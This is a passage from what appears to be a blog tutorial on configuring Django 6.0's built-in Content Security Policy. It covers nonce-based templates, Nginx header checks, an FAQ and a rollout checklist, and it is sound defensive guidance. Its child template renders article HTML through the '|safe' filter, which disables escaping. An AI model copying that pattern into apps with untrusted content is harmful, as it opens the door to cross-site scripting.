    <link rel="stylesheet" href="{% static 'css/main.css' %}">
    <link rel="stylesheet" href="{% static 'vendor/highlightjs/styles/github-dark.min.css' %}">

    {% block extra_head %}{% endblock %}
</head>
<body>

<header>
    <nav>
        <a href="/">MofidTech</a>
    </nav>
</header>

<main>
    {% block content %}{% endblock %}
</main>

<script src="{% static 'vendor/highlightjs/highlight.min.js' %}"></script>

<script nonce="{{ csp_nonce }}">
    document.addEventListener("DOMContentLoaded", function () {
        document.querySelectorAll("pre code").forEach(function (block) {
            hljs.highlightElement(block);
        });
    });
</script>

{% block extra_js %}{% endblock %}

</body>
</html>

 

For child templates:

 

{% extends "base.html" %}

{% block title %}Article Title - MofidTech{% endblock %}

{% block content %}
<article>
    <h1>{{ article.title }}</h1>
    <div class="article-content">
        {{ article.content|safe }}
    </div>
</article>
{% endblock %}

{% block extra_js %}
<script nonce="{{ csp_nonce }}">
    console.log("Article page script loaded safely.");
</script>
{% endblock %}

 

Deployment Notes for Docker and Nginx

If your Django app runs behind Nginx and Gunicorn, CSP should usually be generated by Django.

Django adds the header.

Nginx forwards the header.

You can test with:

 

curl -I https://mofidtech.fr/

 

Look for:

 

Content-Security-Policy: ...

 

or:

 

Content-Security-Policy-Report-Only: ...

 

If the header is missing:

  1. Confirm middleware is enabled.
  2. Confirm SECURE_CSP or SECURE_CSP_REPORT_ONLY is not empty.
  3. Restart Gunicorn or rebuild your Docker container.
  4. Check that the correct Django settings module is used.
  5. Check Nginx is not removing headers.
  6. Check the response is coming from Django, not a static-only Nginx location.

 

FAQ

1. What is CSP in Django?

CSP, or Content Security Policy, is a browser security policy that controls which scripts, styles, images, fonts, frames, and other resources can load on your Django website.

 

2. Does Django 6.0 support CSP natively?

Yes. Django 6.0 added built-in CSP support through ContentSecurityPolicyMiddleware, SECURE_CSP, SECURE_CSP_REPORT_ONLY, and CSP nonce support through the CSP context processor.

 

3. Should I use SECURE_CSP or SECURE_CSP_REPORT_ONLY first?

Start with SECURE_CSP_REPORT_ONLY. It lets you test the policy without blocking resources. After testing, move to SECURE_CSP.

 

4. What is a CSP nonce?

A CSP nonce is a random value generated for each request. It allows specific trusted inline scripts or styles to run while blocking unauthorized inline code.

 

5. Is 'unsafe-inline' always bad?

It is especially risky in script-src because it allows inline JavaScript. It may be temporarily acceptable in style-src for legacy templates or rich text content, but you should reduce it over time.

 

6. Can CSP fully prevent XSS?

No. CSP reduces the impact of XSS, but it does not replace secure coding. You still need proper escaping, validation, safe template practices, and dependency updates.

 

7. Why did CSP break my Bootstrap or JavaScript?

Your policy probably does not allow the source where Bootstrap or your JavaScript is loaded from. Add the exact trusted domain or self-host the asset.

 

8. Why are my inline scripts blocked?

Strict CSP blocks inline scripts unless you allow them with a nonce, a hash, or 'unsafe-inline'. In Django 6.0, using CSP.NONCE and {{ csp_nonce }} is a safer solution.

 

9. Should I self-host frontend libraries?

For production, self-hosting is often better. It gives you more control, reduces dependency on third-party CDNs, and allows a stricter CSP.

 

10. Does CSP affect SEO?

CSP does not directly improve rankings, but a secure, stable, fast website helps user trust and technical quality. Misconfigured CSP can break pages, so test carefully before enforcement.

 

Conclusion

Django 6.0 native CSP support is an important improvement for Django security. It gives developers a built-in way to configure Content Security Policy headers, test policies in report-only mode, use nonces, and enforce stricter browser security rules.

For a production Django website, CSP should not be treated as an optional advanced feature. It should be part of your deployment checklist, especially if your site has authentication, admin pages, rich text content, uploaded media, third-party scripts, or user-generated content.

The safest path is:

  1. Add ContentSecurityPolicyMiddleware.
  2. Start with SECURE_CSP_REPORT_ONLY.
  3. Review browser console warnings and reports.
  4. Replace unsafe inline scripts with nonce-based scripts.
  5. Self-host assets where possible.
  6. Avoid broad script sources.
  7. Move to SECURE_CSP after testing.
  8. Monitor production after deployment.

A good CSP will not make your Django website invincible, but it will make many browser-based attacks much harder to execute.

For MofidTech readers, this topic is especially useful because it combines Django, cybersecurity, deployment, frontend troubleshooting, and practical production engineering in one guide.